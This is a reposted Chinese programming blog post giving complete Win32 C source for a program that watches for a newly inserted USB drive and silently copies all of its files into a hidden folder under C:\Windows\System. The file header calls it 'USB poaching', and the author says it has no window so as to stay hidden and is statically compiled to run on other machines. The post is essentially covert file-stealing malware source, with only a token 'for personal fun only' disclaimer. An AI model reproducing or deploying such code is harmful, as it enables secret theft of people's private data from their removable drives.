经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 程序设计 » C 语言 » 查看文章
USB助手
来源:cnblogs  作者:幻影幽灵  时间:2018/11/9 11:18:27  对本文有异议

自动拷贝U盘的数据---

由于之前学习了win32的编程就想着做一个有趣的东西。想了想准备做一个可以自动复制U盘数据的程序。

对于这个程序的功能首先就是要能够识别U盘是否插入了,这里使用了函数GetLogicalDrives()来进行判断,这个函数会将当前

计算机中的盘符表示出来,然后通过两次的比较来判断U盘是否插入到了计算机中,然后通过copyfile()来全盘复制文件。

为了方便更好的隐藏采用win32编写,但是去掉界面,让程序运行后仅仅在后台进程中可见。


下面是程序的源代码(用VS2017编译):


 

  1. 1 // USB盗猎.cpp : 定义应用程序的入口点。
  2. 2 // 为了让程序可以被其他电脑直接使用,需要在编译时采用静态编译,vs2017默认的是动态编译
  3. 3 // 在调试中选择属性,然后选择C/C++,选择代码生成,选择多线程调试DLL(/MTD)====>即可实现静态编译
  4. 4
  5. 5 #include "stdafx.h"
  6. 6 #include "USB助手.h"
  7. 7 #include <windows.h>
  8. 8 #include <iostream>
  9. 9 #include <string>
  10. 10 #include <strsafe.h>
  11. 11 #include <tchar.h>
  12. 12 #define MAX_PATH_ME 256
  13. 13 #define SOURCE_PATH TEXT("C:\\Windows\\System\\text1")
  14. 14
  15. 15 using namespace std;
  16. 16 void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME]); //遍历U盘下的所有文件
  17. 17
  18. 18 int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
  19. 19 _In_opt_ HINSTANCE hPrevInstance,
  20. 20 _In_ LPWSTR lpCmdLine,
  21. 21 _In_ int nCmdShow)
  22. 22 {
  23. 23
  24. 24 CreateDirectory(SOURCE_PATH, NULL);
  25. 25 TCHAR szFile[MAX_PATH_ME] = SOURCE_PATH;
  26. 26 TCHAR Path[MAX_PATH_ME] = TEXT("");
  27. 27 TCHAR Drive[26] = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','S','Y','Z' };
  28. 28 char i = 0;
  29. 29 DWORD Drive_Old = GetLogicalDrives();
  30. 30 while (1)
  31. 31 {
  32. 32 DWORD Drive_New = GetLogicalDrives();
  33. 33 if (Drive_Old != Drive_New)
  34. 34 {
  35. 35 Drive_New = Drive_New - Drive_Old;
  36. 36 while (1)
  37. 37 {
  38. 38 if ((Drive_New & 1) != 0)
  39. 39 break;
  40. 40 Drive_New >>= 1;
  41. 41 i++;
  42. 42 }
  43. 43 break;
  44. 44 }
  45. 45 }
  46. 46 Sleep(10000);
  47. 47 Path[0] = Drive[i];
  48. 48 Path[1] = '\0'; //StringCchCat:在使用时需要path最后一位是‘\0’
  49. 49 StringCchCat(Path, MAX_PATH_ME, TEXT(":"));
  50. 50 Traver_File(Path, szFile);
  51. 51 return 0;
  52. 52 }
  53. 53
  54. 54 void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME])
  55. 55 {
  56. 56 WIN32_FIND_DATAW lpFindFileData;
  57. 57 HANDLE hFind = INVALID_HANDLE_VALUE;
  58. 58
  59. 59 TCHAR szDir[MAX_PATH_ME];
  60. 60 TCHAR szDir1[MAX_PATH_ME] = TEXT("");
  61. 61 TCHAR szDir2[MAX_PATH_ME] = TEXT("");
  62. 62 TCHAR szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的源地址
  63. 63
  64. 64 TCHAR T_szDir[MAX_PATH_ME] = TEXT("");
  65. 65 TCHAR T_szDir2[MAX_PATH_ME] = TEXT("");
  66. 66 TCHAR T_szDir1[MAX_PATH_ME] = TEXT("");
  67. 67 TCHAR T_szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的目的地址
  68. 68
  69. 69 StringCchCopy(T_szDir, MAX_PATH_ME, T_Path);
  70. 70 StringCchCopy(T_szDir2, MAX_PATH_ME, T_szDir);
  71. 71
  72. 72 //获取源文件地址的操作
  73. 73 StringCchCopy(szDir, MAX_PATH_ME, Path);
  74. 74 StringCchCopy(szDir2, MAX_PATH_ME, szDir);
  75. 75 StringCchCat(szDir, MAX_PATH_ME, TEXT("\\*"));
  76. 76 hFind = FindFirstFileW(szDir, &lpFindFileData);
  77. 77 do
  78. 78 {
  79. 79 StringCchCopy(szFile, MAX_PATH_ME, szDir2);
  80. 80 StringCchCopy(szDir1, MAX_PATH_ME, szDir2);
  81. 81
  82. 82 StringCchCopy(T_szFile, MAX_PATH_ME, T_szDir);
  83. 83 StringCchCopy(T_szDir1, MAX_PATH_ME, T_szDir2);
  84. 84
  85. 85 if (lpFindFileData.cFileName[0] == '.')
  86. 86 {
  87. 87 continue;
  88. 88 }
  89. 89 else if (lpFindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
  90. 90 {
  91. 91 StringCchCat(szDir1, MAX_PATH_ME, TEXT("\\"));
  92. 92 StringCchCat(szDir1, MAX_PATH_ME, lpFindFileData.cFileName);
  93. 93
  94. 94 StringCchCat(T_szDir1, MAX_PATH_ME, TEXT("\\"));
  95. 95 StringCchCat(T_szDir1, MAX_PATH_ME, lpFindFileData.cFileName);
  96. 96
  97. 97 CreateDirectory(T_szDir1, NULL);
  98. 98 Traver_File(szDir1, T_szDir1);
  99. 99 }
  100. 100 else
  101. 101 {
  102. 102 StringCchCat(szFile, MAX_PATH_ME, TEXT("\\"));
  103. 103 StringCchCat(szFile, MAX_PATH_ME, lpFindFileData.cFileName);
  104. 104
  105. 105 StringCchCat(T_szFile, MAX_PATH_ME, TEXT("\\"));
  106. 106 StringCchCat(T_szFile, MAX_PATH_ME, lpFindFileData.cFileName);
  107. 107
  108. 108 CopyFile(szFile, T_szFile, false);
  109. 109 StringCchCopy(szFile, MAX_PATH_ME, TEXT(""));
  110. 110 StringCchCopy(T_szFile, MAX_PATH_ME, TEXT(""));
  111. 111
  112. 112 }
  113. 113 } while (FindNextFileW(hFind, &lpFindFileData) != 0);
  114. 114 }

 

————本程序只可自己玩,不可另做它用!!!

 

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号